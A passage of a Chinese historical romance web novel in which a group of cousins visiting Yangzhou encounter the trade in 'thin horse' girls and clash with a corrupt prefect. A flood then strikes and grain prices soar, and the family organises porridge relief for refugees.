沈瓷这话说的认真,众人也都觉得是那么一回事,于是心安理得的逛了起来,只留下裴珩一人在府衙忙碌。 这话传到裴珩耳朵里的时候,他差点儿要被这些没良心的弟弟妹妹气得不行,但谁让最没良心的另有其人。 他如何能计较? 裴珩虽在衙门忙碌,倒也不愿真的被众人忘记的彻底,便命长鸣去给裴姝送些银子,让她好好的玩。 那银子并不少,见者有份,谁也没落下,就连沈瓷都分到好几块。 她走在表姐身边,看着有些陌生的地方,却想起了和父母一起的日子,他们也曾在陌生的地方一同牵手走过,那时候爹爹一手牵着他,另一只手牵着娘亲。 她记得娘亲温柔的喊她慢一些,也记得爹爹一直鼓励她要勇敢… 曾经习以为常的事情,最终都变成了好珍贵好珍贵的回忆。 沈瓷默默的跟在人群后头走着,楚映梦觉察到她的异样,落后一步走到沈瓷的身边,“若是累了我们就早些回去。” 表姐的声音在耳边响起,沈瓷没拒绝表姐的关心,乖巧的答道:“若是累了,我一定说。” 因着是过来玩乐的,她们便选了扬州最有名气的酒楼用膳。 只是这地方实在热闹,她们过来的时候已经有不少的人,她们来的晚就只能在外头候着。 更没想到的是这地儿还要取号,小二介绍着人人都是如此。 若当真如他所言也便罢了,可没想到后头又来了一位客人,他手上也没什么号子,却大摇大摆的上了楼,楚景澄看的好生疑惑,拉着店小二问个究竟。 小二探头看清楚来人,笑眯眯的答道:“那是赵大官人,他们时常来此处,我们酒楼里一早就留好了位置。” 只要有银子,便是常年占着厢房也不是什么意外之事,沈瓷几人也没觉得奇怪。 这地方人虽多,但好歹酒楼也足够的大,没多久便轮上她们,厢房更是很巧的在那赵大官人的隔壁。 几人走过去时恰好遇上了七八个瘦瘦小小的女孩子上来。 那群女孩子瞧着不过十三四岁,可打扮的却很不一样,身上裹着绫罗绸缎,发间坠着金灿灿的步摇。 几人觉得新鲜,不由多看了几眼。 为首的姑娘察觉到了他们的目光,往这边看了一眼,很快就收回了视线,但她们很清楚的瞧见那眼神有些空。 若是一个姑娘,他们不会觉得奇怪,可那一群瞧着就有些奇怪。 只是在外人生地不熟,她们也不好多去张望,结果才刚刚坐下没多久,就听见隔壁传来靡靡之音。 一群人面面相觑,好不尴尬。 楚修筠本想着多一事不如少一事,可边上的动静越来越大,若要继续当做不知,那真真是艰难不已,“小二,可有另外的厢房?能否给我们换一间?” 楚修筠出手阔绰,问的也算客气,小二笑脸相迎,“几位客官,可是小店有什么招待不周的地方?” 楚修筠指了指隔壁,小二恍然大悟,“另一头倒是有厢房,但几位客官有所不知,这事儿在扬州挺常见的,去了那处也是一样。” 言下之意便是劝他们不要折腾,也许那处还不如这处。 楚修筠揉了揉额头,顺势问起那些女孩子们,那小二一脸的无所谓,“哦,那是瘦马。” “是扬州的一大特色。” 说起这话时甚至还隐隐自豪。 在场几人里唯有季衍对此略知一二,几个女孩子更是毫不知情,但一听见那词就知道不是什么好事儿。 尤其是在季衍解释清楚何为瘦马的时候,众人脸色就愈发的难看。 养瘦马的地方其实很多,其中以扬州最有名,这些女孩子便被称为扬州瘦马。 “这…” 原本还有些胃口,如今听到这些也没了多少心思,隔壁那靡靡之音还若有若无的传来,明明她们只是过来吃顿饭,却如坐针毡。 最后几人也无心用膳,命店小二将这些菜打包,匆匆的回了客栈。 几人的情绪都有些不太好,主要是那些女孩子实在是太过瘦弱,总让人心里有些不太舒服。 菜打包回来后,也没太大的胃口,许是这些事给他们几人的刺激有些太大,回到客栈后也提不起什么精神,直到裴珩归来。 他见众人都是一副萎靡不振的模样,很是疑惑,“今儿个没有出去逛逛?” 不是还断言他不会亲自去扛沙袋吗? 心安理得的玩乐。 这才过了多久就变成了这般? “难不成是走路走多累着了?” 裴珩接连问了两句,季衍才来解释了一番,得知是因为这事,裴珩倒也不觉得奇怪,烟花巷楼的事儿在金陵也有。 只是没有扬州这般直白。 何况扬州瘦马和一般的烟花女子也很不一样,不怪她们这般模样。 “那些女孩子有一些是被拐卖的,有一些是活不下去的穷苦人家。”裴珩出声解释,同她们说盐商养瘦马并非单纯为了亵玩,更多的是换取利益。 有一些会送去达官贵人的跟前。 还有一些若是运气好,能成为富商或是地方官的妾,并非都会沦落青楼。 “虽说有些不合时宜,艰难的活不下去时,这其实也是一条出路。”裴珩冷静开口,众人轻轻的点了头,也算是将他的话听了进去。 楚修筠和楚景澄也是一样。 只不过楚景澄还听进去了别的,“会送去达官贵人的眼前?” “表哥,扬州知府也给你送了吗?” 楚景澄好奇的问道,一时间所有人都朝着裴珩看过来,脸上都是好奇神色,就连沈瓷也忍不住的朝他看过去。 裴珩:“……” “呵。”裴珩看着明显打坏主意的人冷笑连连,“有空操心这些闲事?这几日可有好好的念书?” “什么?”楚景澄整个人都傻了,可没人告诉他出来玩还要念书的。 “既然这么有闲情逸致,想来也能两者兼顾。”裴珩自说自话在楚景澄还没反应过来的时候就给他做好了决定,“明日记得交功课。” 楚景澄瞪大了眼睛,似乎没想到事情会变成这般,他连忙跑到裴珩身边求饶,“表哥,我错了,我错了,我们万事好商量。” “表哥,我们好商量。” 楚景澄可怜巴巴的看着裴珩,裴珩半点不理会,没有法子的楚二公子只能另辟蹊径去找大哥帮忙说清。 谁知裴珩铁了心的要治一治楚景澄,随意的瞥向楚修筠,“你若是给他求情,就同他一块儿写功课。” 楚修筠看了眼弟弟,又看了眼说一不二的兄长,干脆利落的不吭声。 楚景澄:“……” 在此之前他一 直以为自己和哥哥的感情是坚不可摧的。 楚景澄这会儿欲哭无泪的看着裴珩,本以为还可以抓到表哥的把柄嘲笑一番,谁知偷鸡不成蚀把米。 虽有些意外,可今日带来的那些压抑气氛,却在不知不觉间烟消云散。 第63章 第63章为何你拒绝我的时候,那么坚…… 没人将楚景澄的话放在心上,可没人想到扬州知府还当真动了给裴珩送扬州瘦马的心思。 精挑细选了一个女孩子在席间暗示了一番。 裴珩初初听见时就忍不住皱眉,只是他初来扬州,不好同地方官员起冲突,委婉的拒绝了。 谁知那扬州知府全然会错了意,以为裴珩心中满意却不好明说,直接将人送到了裴珩下榻的客栈。 还好死不死送到了裴珩房里。 裴珩原本应当住在府衙的,只是他不想离沈瓷太远,便拒绝了知府的好意。 瞧着那知府也是个听得懂人话的,谁知今日竟然直接将人送了过来。 裴珩冷着脸,命长鸣将人给扔了出去。 这里动静不小,惊动了不少人,眼看人人都跑出来看热闹,裴珩的脸更是黑的可怕。 楚景澄看着跪在院子里的女孩子,又看了眼盛怒的表哥,根本不敢往跟前凑,忙不迭躲到哥哥和妹夫身后。 季衍和楚修筠只觉得没眼看,但他们俩其实也挺想躲,只是速度没楚景澄快而已。 “哪里来的回哪里去。”裴珩冷冷说道,那跪在地上的女孩子忍不住的哭泣落泪,求裴珩不要赶她走,若是把她赶走,她回去之后一定会被责罚的。 裴珩面无表情的看着,半点不为所动。 楚思怡偷偷的观察着地上的女孩子,裴姝和楚映梦就忙碌许多,一会儿去看裴珩,一会儿又去看沈瓷,还要分出点儿心思去看地上的姑娘。 忙碌的不得了。 沈瓷的目光倒是纯粹许多,全部的眼神都落在女子的身上。 裴珩并无多少耐心,冷漠的看着长鸣,“还不去办?” 长鸣挥了挥手,立刻就上来了两个侍卫,将那姑娘给带了下去,那女子哭的眼泪婆娑,“求求你们,救救我…” 楚思怡和裴姝有些于心不忍。 但此时根本不好多言,裴珩脸色奇差,她们都担心多说半句就要被迁怒。 何况她们早已知晓这些女孩子的身份,求情的话也实在是说不出口。 那女子到底被送了回去。 这件事没在他们之间掀起多少波澜。 毕竟大家伙儿都清楚,无论裴珩是现在赶她走,还是今晚将她关在柴房明日赶她走,结果都不会有任何的改变。 “若日后再有什么不三不四的人混进来,你也不用继续跟着了。”裴珩冷淡开口,长鸣知晓这话是对着自己说的,不敢有所反驳。 立刻应下,“是。” 一出闹剧就这么轻而易举的揭过,裴珩却没了睡意,当夜给扬州知府传话,让他莫要自作聪明,论官职如今他不见得比扬州知府低。 论出身,更是将人比得没边。 今日这出,许是试探,许是示好,但不管是何目的,裴珩都懒得理会。 此事让裴珩很是厌恶。 这是沈瓷头一回见到裴珩这般不留情面的模样,她躲在人群后头只当什么都没看见,裴珩看的清楚分明,心头愈发烦躁。 气的拂袖而去。 随后让人将屋子里的东西全部换了,就这还不满意,思来想去竟换了一间房住。 裴珩的举动并没有任何隐瞒,人人都看的清清楚楚。 众人反应大差不差,全部大气不敢出,生怕惹怒了裴珩。 一连几日裴珩的脸色都很难看,沈瓷她们几个瞧见裴珩的时候都恨不得绕道走。 裴珩本是想找沈瓷解释的,而后又觉得多此一举,原本就什么事都没有发生,他发落人的时候也是在大庭广众之下。 此事究竟是怎么发生的,他们都一清二楚。 就连误会都没有。 何况沈瓷也没有任何的反应。 其实倒是有些反应,她愈发躲着自己了。 裴珩想到这里脸色又黑了不少。 那夜,扬州知府都要睡下了竟收到了裴珩的传话,只觉得脸上无光,嗤笑裴珩自命清高,竟还能拒绝这般尤物,实在是…不懂享受。 知府心里不屑,面上倒是装的极好,第二日见了裴珩,只伏低做小说自己会错了意,“还请裴大人莫要见怪。” 裴珩随意点头,没太将知府放在心上。 “夏季多雨,知府大人若得空还是想一想怎么治理水患更要紧。”裴珩语气微冷,知府立刻点头赔笑。 “是是是,裴大人说的是。” 知府答应的极好,心中半点没当一回事,扬州这水患也不是一天两天的事了,多少人来过?还不都是这个模样? 他有这闲心,倒不如多花些心思和盐商合作养几个瘦马,前些日子送出去的那几个,效果不就立竿见影? 给他赚了不少银子。 扬州知府表里不一,裴珩又如何不知? 扬州瘦马背后牵扯了多少,裴珩很清楚,知府心里是怎么想的他也能猜测出大概。 “陛下让我来治理水患,若一事无成,岂不辜负?”裴珩冷静开口,知府一听这话顿时眉开眼笑。 “是,裴大人说的是,这水患宛如沉珂,下官心中也很是忧心。”知府说了些讨巧的话,裴珩压根没听。 他只要让知府知晓他只是过来治理水患,对扬州瘦马这些事根本不在意就成,省得从中使绊子。 “河道分布图。”裴珩也不和知府废话,开口直击要害,知府见裴珩信心满满,也没打消小年轻的自信心。 “这些都是历年来的卷宗,还有一些是县志。”知府将这些东西一股脑儿全部都送过来,很是熟门熟路。 裴珩也没计较他的行为,只是认真的开始研究起卷宗和县志来,裴珩回客栈的时间变得越来越晚,忙里偷闲的时候不过问一问沈瓷在做什么。 每回得到的答复全部都是他们又去了何处踏青。 去了哪里吃饭。 裴珩听得多了,多少生出了些怨气出来,“倒是过得舒坦。” “让楚景澄将功课写好,我晚些时候要检查。”裴珩语气平静,但唯有他自己清楚究竟是怎么回事。 长鸣心中似有所感,但没敢多说话,兢兢业业的去传达主子的命令,可怜楚二公子原本玩的开开心心,听见这话之后整个人都恹恹的。 “表哥还在生我的气?” 长鸣没说话,但楚景澄从他的沉默当中也能猜测一二。 裴珩说一不二,说好了晚上要检查,就不会留到第二天早晨,回到客栈之后楚景澄就开始抓耳挠腮,一会儿求哥哥,一会儿又求妹夫。 可是另外两人也根本没法帮他,楚修筠好歹说了个正常的理由,“若是我给你写,表哥一定会看出来的。” 这勉强算一个。 季衍说的就愈发离谱,“我是个武将,这些舞文弄墨的事儿半点不会。” “再说,我写了也会露馅。” 楚景澄脸黑的宛如锅底,万分后悔自己曾经做过的事儿,他那日就不应该多嘴问那么一句。 楚景澄虽然各种不情愿,但功课到底还是写完了。 不过他实在不敢亲自交给裴珩,便将这功课托付给了沈瓷,“阿瓷,等会表哥回来的时候,你就将这个交给他。” 沈瓷看着塞到手里的功课不明所以,“二表哥?为何将这个交给我?” “据我观察,表哥不会骂你。”楚景澄非常坦诚的开口,“表哥那么凶,我可招架不住。” “你瞅瞅我们几个,谁过去不挨骂?”楚景澄越想越觉得这法子可行,冲着沈瓷不住的游说。 “阿瓷,二表哥的幸福就全部靠你了!” 沈瓷:??? 她也不想面对裴珩。 沈瓷也想拒绝,但架不住楚景澄的软磨硬泡,到底是应下了。 等到夜间裴珩归来,只看见沈瓷踌躇的站在院子里。 “你在等我?”裴珩肯定开口 。 沈瓷略略迟疑,用力的点了头。 她什么都还没说,但裴珩已经猜测出一二,沈瓷要和他说的肯定不是什么私事,若不然也不会这般态度。 更不会在此等他。 “请进。”裴珩推开门请沈瓷进屋,为了避免误会,他没有关门。 沈瓷稍稍走近几步,拿出了楚景澄的功课,“这个…” 裴珩只扫了一眼,就知那是什么。 “他不敢来见我?所以让你过来?” 裴珩猜的八、九不离十,沈瓷也没什么好隐瞒的,轻轻点头。 “出息。”裴珩轻嗤一声,他又看向面前一脸尴尬的沈瓷,饶有兴味的问道,“他是怎么说服你的?” 沈瓷如今也觉得她答应二表哥来送功课是一件非常离谱的事,此番见裴珩问起,只觉得尴尬。 “总不至于是拿银子贿赂你的?” “…不是。” 楚景澄的心里在想些什么,裴珩清清楚楚,无非是觉得他不会对着沈瓷发难。 但楚景澄这性子,当真是想一出是一出,他能想到的事情,难道字想不到? “他就不担心我当着你的面说不计较,之后想法子给他多布置些功课?” 沈瓷全然没想到还有这种可能,瞬间傻了眼,呆呆的看向裴珩,有些不敢相信。 裴珩也从没觉得自己是什么心慈手软之辈,只是面对沈瓷时,到底有些不同,“景澄和修筠不同,修筠还可以继承爵位,而他日后前途只能靠自己。” “他虽说话容易得罪人,但聪明且有悟性,只是生性散漫不爱念书,如今还有修筠陪着,两人好歹做个伴,若三年之后修筠中了进士而他落了榜,对他怕是不小的打击。”裴珩仔细的同沈瓷分析利弊。 并非他要做这个恶毒表哥,不过是为了长远打算。 “修筠踏踏实实,而他却要人督促,许是还不定性…”裴珩说起这话时心中很是嫌弃,若非这是亲表弟,他只怕压根懒得理会。 念个书都要人督促,又不是三岁孩童。 “原是如此。”沈瓷这才明白裴珩的良苦用心,顿时觉得自己压根不应该替表哥来送功课。 “我…我…”沈瓷想要解释,可说出口的话却是道歉,“抱歉,我不清楚这些…” “无妨。”裴珩浅浅笑起,主动替沈瓷找起借口来,“他若是求到你头上,估摸着是什么话都说了个遍,你招架不住也情有可原。” 沈瓷虽不想承认,可这会儿也在心里偷偷点头,甚至开始隐隐感激起裴珩来。 偏他说的话,只有半句是可以听的,只见裴珩话锋一转,很是认真的问她,“不过我倒是觉得奇怪,怎么你拒绝我的时候可以那般坚定?” 沈瓷:“……” 她想,她以后也会很坚定的拒绝二表哥的。 第64章 第64章天灾总是来的猝不及防…… 裴珩说的话,沈瓷听得清清楚楚,只是不知要怎么回答,总觉得说什么都不大对。 她想到裴珩还没有看二表哥的功课,思来想去还是将功课递了上去,“这是二表哥写的,裴世子若是觉得不好,尽管找他说去。” 沈瓷一时心软将自己坑了彻底,这会儿只想把自己给摘出去,省的要在此处面对裴珩这些压根不知要怎么回应的问题。 裴珩看了她一眼。 沈瓷又想起楚景澄请求自己时候的模样,好歹也是自己的亲表哥。 “二表哥其实念书也很努力的,只是最近有一些,有一些…”沈瓷皱皱眉,总算找出了一个牵强的理由,“二表哥有些水土不服。” “你是在替他说好话?”裴珩皱了皱眉头,伸手将楚景澄写的功课摊开看了看,只一眼裴世子就皱起眉头,而后越看这眉头拧的越紧。 沈瓷在一旁看的清清楚楚,忍不住的问道,“可是有什么不妥?” “他大概是好日子过久了。”裴珩的声音又轻又淡,但沈瓷却很明显的感觉到他在生气,她想凑过去瞧瞧二表哥写了什么,又担心自己看不懂闹笑话,站在一旁很是无措。 裴珩倒也不吝啬,直接将楚景澄的大作递了过去,“你瞧瞧。” 沈瓷想说自己也许看不懂,但这话还没说呢,上头的内容已经映入眼底,不至于看不懂,但二表哥这文章写的似乎不怎么样… 裴珩也没问什么,只让长鸣将楚景澄找来,今日这文章若是不能好好的写,日后他也不用去外头晃荡。 楚景澄当即被找来,若非裴珩顾念他如今不是孩童,不然指不定还要挨打。 “听说你近日水土不服?”裴珩看着楚景澄问道。 楚景澄听见这话,大概知道是怎么回事,立刻点头,“对,我水土不服!” 虽说不知阿瓷为什么这么说,但楚景澄是个不会拆台的好表哥。 先应下再说。 “我倒是头一回听说水土不服能将学过的东西全忘了。” 楚景澄:“…表哥,这也不能怪我,这不是太久没去学堂。” 楚景澄张口解释,浑不知越描越黑,他越是多说一句,裴珩的脸色就越黑一分,直到最后全黑了。 楚修筠闻讯前,连忙替弟弟求情,裴珩根本不予理会,将楚景澄的功课递了过去,楚修筠看完脸也黑了。 怪不得先前一直不给看,原是写成了这样? 裴珩只问楚景澄这些日子可是心野了?楚景澄哪里还敢说话,委委屈屈的看着表哥,“我发誓,回金陵之后我一定好好念书。” “今日开始。” 楚景澄:“……” 这怎么和他想象当中的不一样? 楚景澄忍不住的看向兄长,结果兄长已经倒戈,又看向表妹,谁知温温柔柔的表妹如今也变了,“二表哥,念书当持之以恒,每日温故而知新。” 楚景澄:? 楚景澄不理解且大惊失色,不是刚才还给自己找借口,说水土不服吗? 怎么一下子什么都变了? 楚景澄孤立无援迫开始念书,裴珩倒也不是不允他们玩乐,只是见不得楚景澄心浮气躁。 楚景澄哀怨不已的看着沈瓷,沈瓷心中很是愧疚,当天夜里借了客栈的厨房给楚景澄准备夜宵。 裴姝和楚思怡一起帮了忙,半个时辰之后,沈瓷捧着一堆烙饼出现。 “二表哥。”沈瓷脸上挂着讨好的笑容,楚景澄本也不会真的生她的气。 见沈瓷如此,接过了她手中的烙饼。 她准备了不少,人人都有份,自然不会落下裴珩的,但裴珩此番待在自己的屋子里。 原本可以特意将人喊出来,但是今日楚景澄第一个不答应。 “我还想晚上睡个好觉。” 于是这送烙饼的任务有落到了沈瓷的身上,除了有小心思的两个,其余几人用的理由都是一模一样。 他们去容易挨骂。 沈瓷:“……” 她看起来就不怕吗? 沈瓷没法子,依旧期期艾艾的去敲了门,裴珩正在看书,听见外头动静随意的问道,“哪位?” “是我。”沈瓷有些尴尬,她忍不住的想,自己以后还是要出门带黄历为好。 裴珩听见沈瓷的声音后便放下了手中的书,亲自过来开门,“有事?” 他看着沈瓷,自然瞧见了她手中的烙饼,孤零零的两张,放在盘子里头,裴珩大致猜测了一番是怎么回事,“他们点了宵夜?不敢送来,又让你来?” 裴珩猜对了一半,沈瓷一时间不知道点头还是摇头,她其实不太明白,为何遇上裴珩,自己的行为就变得这般奇怪。 明明先前不是这般。 思及此沈瓷深深的吸了一口气,“这不是买的,是我做的。” 裴珩有些意外,却没有表露出来,他还没来得及说话,便听见了沈瓷的声音,“若是裴世子不饿,那,那你早些歇息。” 裴珩的确是不饿,但眼前这两张饼既到了他的面前,自然不 会让沈瓷带回去,“我可以饿。” 沈瓷:? “给我。”裴珩看着那两张饼,已经开始思索要怎么吃,沈瓷捧着盘子一时间不知要不要递过去。 可以…饿? “烙饼,不是给我的吗?”裴珩语气认真,“难道是专程给别人做的,只是顺便给我的?” 沈瓷:“…不是。” “不是专程给别人做的?”裴珩问的认真,漆黑的眼眸中满满都是沈瓷的倒影。 他的心中骤然多了些期待。 可沈瓷似乎从来都不会满足他的期待,如今也是一样,“不是顺便给你的。” 裴珩:“……” 那就是专程给别人做的。 裴珩没说话,只要他不承认,就可以当做听不懂,他毫无心理负担的从沈瓷手中接过那烙饼,浅浅的道谢。 “可能不太好吃。” “瞧着味道极好。”裴珩说的不是哄人的话而是当真这般觉得,沈瓷露出一个温婉的笑容,她似乎想说些什么,但还没来得及开口。 就听见楚景澄大呼小叫的声音,“阿瓷,这烙饼还有没有?我还想吃。” 沈瓷听见这声音匆匆的同裴珩告辞。 裴珩看了眼楚景澄,开始思索着要给这倒霉弟弟布置多少功课才行。 楚景澄全然不知道自己又有什么地方得罪了裴珩,他只知道第二天的时候,这功课又多了不少。 原本楚景澄没指望哥哥和妹妹们在客栈陪着自己,可没想到第二天就下起了雨。 自然也不能外出。 原本想着等雨停了之后再出门,谁知这雨越下越大,根本没有要停歇的迹象。 楚景澄也想两耳不闻窗外事,但这雨下的他心猿意马,时不时的往外头看两眼,楚修筠看在眼里无奈的摇摇头,“一会儿表哥回来瞧见你这般,又要生气。” 楚景澄被吓得一个激灵,埋怨的看着哥哥。 想说点什么最终吞了回去,他还是好好看书要紧。 只是心里头抓心挠肺,此刻见表哥不在,楚景澄才去问沈瓷昨日表哥说了什么。 “裴世子?昨日没说什么。”沈瓷认真回答,裴珩问自己的那些话,全被沈瓷给藏在心里,本就不能说的,推心置腹的那些,也不好告诉二表哥,省的他有什么心理压力。 这挑挑拣拣之后,可不就没说什么了吗? 但楚景澄显然不信,“昨日去的时候还好好的,说要替我求求情,结果临了成了小叛徒。” 楚景澄嘟嘟囔囔,但想起了昨日的烙饼,他很快见好就收,只是实在好奇裴珩究竟给她说了什么,才让她叛变的。 “难不成,表哥拿银子贿赂的你?” 沈瓷:“……” 这话颇有些耳熟,沈瓷忍不住揉了揉额角,看着楚景澄深深的吸了一口气,开始努力传达裴珩昨日的意思,“裴世子说,若有人替你求情,他一定假意答应,事后多布置些功课。” 楚景澄也没想到会问出这么一个答案来,听罢以后整个人都是傻愣愣的,一时间不知道是要感动表妹真的替自己求了情,还是要谴责表哥太过分。 想来想去还是先看书吧,免得一会儿回来,自己又要挨罚,还没得连累沈瓷。 只是她们左等右等也没等来裴珩,反而等来长鸣的口信,说裴珩今日不回客栈住。 扬州这暴雨来的不算蹊跷,每年这个时节都是如此,百姓们应对起来也有经验,但即便再有经验也有风险,裴珩责无旁贷。 起初她们也没在意,可这雨越下越大,到了傍晚时分路面上已经渐渐有了积水,沈瓷看着连绵不绝的雨,不自觉的拧起了眉。 裴姝瞧见了沈瓷的脸色,有些怯怯的问道,“沈姐姐,你在看什么?可是有什么不对的地方吗?” “就是觉得这雨下的太大了些。”她虽然是在很多年之前来过扬州,但沈瓷的记忆并不差,先前好似没有那么大的雨。 且半点没有要停的架势。 若是这雨一直不停… 沈瓷不太愿意想下去,只是没了吃饭的心思,来收碗碟的小二见他们神色不展倒是安慰了几句,说这雨不算什么,雨停了就好。 年年如此。 楚景澄起初害怕裴珩早早回来罚他,这会儿却开始担心起表哥的情况来,心中担忧自然做什么都毛毛躁躁,还是季衍提议说可以出去看看。 瞧一瞧扬州城的百姓如何,也可从中窥探一二。 打定主意之后几人便从小院走到客站外头,因为雨势的关系,外头雾蒙蒙的一片,街道两旁的摊贩早已经收摊回家,只是行人没见少多少。 仿佛这雨并没有带来什么困扰。 虽然还是不太知晓裴珩的消息,好歹能让人稍稍安心些。 那天晚上裴珩没回客栈,而后几日也是如此,这雨越下越大,且根本没有停歇的时候,外头气氛渐渐焦灼,那每日来送膳食的小二起初还能同她们说几句宽慰的话,这几回多是愁眉苦脸,眉宇间满是忧愁。 “几位客官若是无事,近日来莫要外出,外头不大太平。” 何处不太平小二不曾明说,但他们也不是什么蠢笨之人,总能明白一些。 裴珩已经没有时间给弟妹们传口信,连日大雨扬州城的水位高了不少,城外还有不少山体坍塌,这水患此时此刻就成了灾祸。 一些地势低洼的地方已经被淹没,情况在不知不觉中变得严峻起来。 众人早没了玩乐的心思,一向以来只知道扬州有水患,却不知有些事来的那么猝不及防,个个只想着能做些什么。 只不过他们势单力薄,没什么能做的。 第一日和第二日,还尚且能忍受,可第三日雨水还连绵不绝的下,季衍便先受不住,同楚映梦说他想去找裴珩一块儿商量法子。 虽说如今在休假,他好歹也是正正经经的朝廷命官。 至于要去看什么,季衍没明说,但楚映梦已经明白。 她替丈夫整了整衣裳,只说了句小心。 明知不太合时宜,楚映梦还是忍不住的想起一些别的事来,她想日后她大概也要这么送季衍出征,如今不过提前熟悉。 季衍要出门,楚修筠和楚景澄自然也办不到袖手旁观。 只是他们虽有心,却不能人人如愿,过去不过一个时辰,楚景澄就被迫归来,裴珩说客栈还有四个女孩子在,总要有人在身旁才行,若不然他们也放心不下。 楚景澄便听从兄长的话归来。 “表哥如今在城外,城外的情况非常严重,我回来时看见不少人被临时安置在城外。”楚景澄的声音有些失落。 天灾来的极快,不过一夕之间的事。 在天灾面前,人显得那么渺小。 楚景澄迫切的想要做些什么,连带着沈瓷她们几人也是一样,遇见这样的事,她们能想到的也只有出钱出力。 出力是出不了了,但出银子还是可以实现。 楚映梦身上带着不少的银票,她想了想便将银票交给楚景澄,让他去买一些粮食。 无论是直接分给别人,还是开设粥棚,都可以。 楚景澄应下,留了几个侍卫在客栈,又匆匆的出门, 楚景澄原本以为粮食会涨价,谁让楚二少爷对天灾所有的了解都是从书中得来的,也曾见过不少的富商发国难财。 扬州的这些富商没有这样的行为,楚景澄心中还觉得挺感动。 谁知这粮食买回来没多久,就听说了涨价的事儿。 楚景澄:“……” 他怎么觉得自己夸早了? 第65章 第65章她看着裴珩,咬着唇瓣补充了…… 楚景澄出去不过一个多时辰就归来,但是他整个人的情绪不大好,往那儿一坐就不停的骂人,她们几个没敢搭话,但也大致听明白是扬州的富商所为。 “先前这些富商没有哄抬米价,是因为不知情况会这么严重,亏我还以为他们不是那种为富不仁的,谁知天下乌鸦一般黑。”楚景澄骂骂咧 咧,没有半点要停下的架势。 “现在的粮食价格飞涨,我出门的时候已经瞧见有些铺子天价出售,普通老百姓如何买得起。”楚景澄气得不行。 “扬州富庶,本以为扬州的商人不会如此。” 楚景澄到底还是小看了人心。 “二哥,你买到了多少粮食?”楚映梦连忙追问。 楚景澄说他将身上所有的银票都换做了粮食,“已经交给了厨房,让厨房熬了稀粥,能帮一个是一个吧。” 几人的神情都不大好,正在想着一会儿要将这些粥运去何处,外头竟传来了敲门声,楚思怡去开的门,本以为是来送饭的小二,正说着还不到饭点。 结果打开门瞧见了客栈的掌柜,“掌柜的有事?” 楚景澄不动声色的挡在了楚思怡面前,掌柜的没注意到他防备的姿态,这次来是找他们商量事儿的。 原是客栈的掌柜听说他们几人的善举,也想要添一分力,又买了不少的粮食过来。 客栈掌柜是个商人,自古商人就没什么地位,先前犹豫也是担心粮食被人抢走,如今见有人带了头,也没了顾虑。 “几位客官大义,小老儿好生倾佩,只是这施粥一事,是否需要从长计议?”客栈掌柜言语多有试探,毕竟他也只能猜测出这些人大有来头,却不知具体。 “掌柜的放心,没人敢来抢我们的。”楚景澄原本不欲太过高调,但沈瓷说裴珩的身份很好用,他原本就站在风口浪尖上,也不怕多些人注目。 现在情况更是特殊,多耽误一天也许还有更多人受苦。 于是自小生活在表哥光环之下的楚景澄,头一回开始狐假虎威。 客栈掌柜得了满意答复,再也没了顾虑,同楚景澄说起他们还有许多人也想出一份力,只是扬州的商会等级严苛,他们也不想当这个出头鸟,要是被大富商们知晓,他们之后会过的艰难。 如今有了楚景澄,倒是帮了他们不少的忙。 掌柜的再三道谢,谢的楚景澄颇有些不好意思。 掌柜的从中调和,几人很快就选好了地方,加之有侍卫在一旁守着,施粥的时候倒是没闹出什么乱子。 雨势稍稍停了一些,但依旧来势汹汹,裴珩看了许久的县志,也去过实地勘察,大致明白为何水患会这般严重。 “世子,您已经连续两日没有歇息,身子要紧。”长鸣忍不住开口劝说。 裴珩半点没理会,只问客栈情况。 “二公子和几位姑娘带着不少人每日在城外施粥,其中有不少商人暗地里相帮。”长鸣将自己知晓的尽数说起。 扬州商会等级严苛,大商人欺压小商人是常有的事。 “那些商人并未出面,恐是担心事后被人报复。” “不管何处都有败类。”裴珩冷哼一声,得知楚景澄借了他的名头办事,还觉得很新鲜,“怎的忽然有了这般脑子?” 楚景澄从来都不是个喜欢借势的人,他心思比较单纯,从来都是把他当成表哥,即便知道他的身份,也从不会往别处去想。 他们有这份心思并不难猜,只是实施起来有些困难,如今倒是可以少许多的麻烦。 “不是二公子想到的,是沈姑娘说的。”长鸣有些忍不住的想笑,“沈姑娘说反正盯着您的人那么多,多几个也没事。” 裴珩:“……” “沈姑娘还说,若是有商人要蓄意报复,还能说是您示意的。”长鸣说道这儿,偷偷去看了主子的脸色,只觉得有趣极了。 “多派些人护着她们。”裴珩无奈的摇头,沈瓷这话说的倒也没错,只是他这心里多少有些无奈。 情绪来的快去的也快。 裴珩起初并不知道这一趟来扬州还会遇见这些事,若是他早点知晓大概就不会同意他们一同过来。 此事牵连甚广。 他担心他们几人回有危险。 裴珩心中也有诸多担忧,他看着面前的空白牛皮纸,神色凛然。 “找人盯着扬州知府,还有商会的那些大商人。” 长鸣没有多问,立刻着手安排。 裴珩在那张空白的牛皮纸上勾勾画画,很快一副完整的河道图露了出来,扬州的水患一直无法彻底解决。 并非是历代官员碌碌无为,而是里头错综复杂,扬州的官员并不希望水患可以彻底的解决。 他们能做的事情到底有限。 朝廷每年都会下发不少的赈灾银两,这些银两的用途却是有限,治理水患都是将河床加高,以防止河水倒灌。 城里的排水沟渠也是一塌糊涂,这雨虽然很大,但若是排水沟渠做得好,根本不会发生内涝。 不多时长鸣归来,裴珩便让他去民间寻一些能工巧匠,若是寻不到他也不愁,还可以让父亲出面请工部的工匠过来。 “是。” 对于裴珩的吩咐,长鸣从来都无二话。 解决手头山的事情之后,裴珩便去了施粥的地方,扬州城那么大,她们几人自然不在一处,东南西北四个城门均有人在。 裴珩去见了沈瓷。 他已经许久没有见过她。 前有暴雨倾盆,后有大商人哄抬米价,她们能买到的粮食其实也有限,所以这粥不过是薄薄一层。 可即便如此也是杯水车薪。 沈瓷的情况比他想象的更好一些,这世上没有什么事情是容易的,哪怕只是施粥,也要花费不少的精力。 “先前没有下那么大的雨,没想过竟会淹没村庄。” “河床一年年增高,村庄地势低洼,淹没也是迟早的事。”裴珩声音微冷。 扬州知府对这些事早已经见怪不怪。一开始的时候甚至还在安慰裴珩,“不过就是一些房屋,人没事就好。” 话虽如此,但依旧让裴珩皱起眉头。 裴珩原本不过想远远的看沈瓷一眼就离开,没想到却被沈瓷发现,他就不好直接走,更没想到的是沈瓷竟让侍卫过来寻他。 “世子,沈姑娘说有话要同您说。” 裴珩微微点头,撑着伞走了过去,沈瓷还在给百姓们施粥,见到裴珩过来也没有多言,只是请裴珩等一等。 他自然不会干等着,见沈瓷将铜勺换到了左手,心中有所猜测,主动的上手接过沈瓷手中铜勺,“我来吧。” 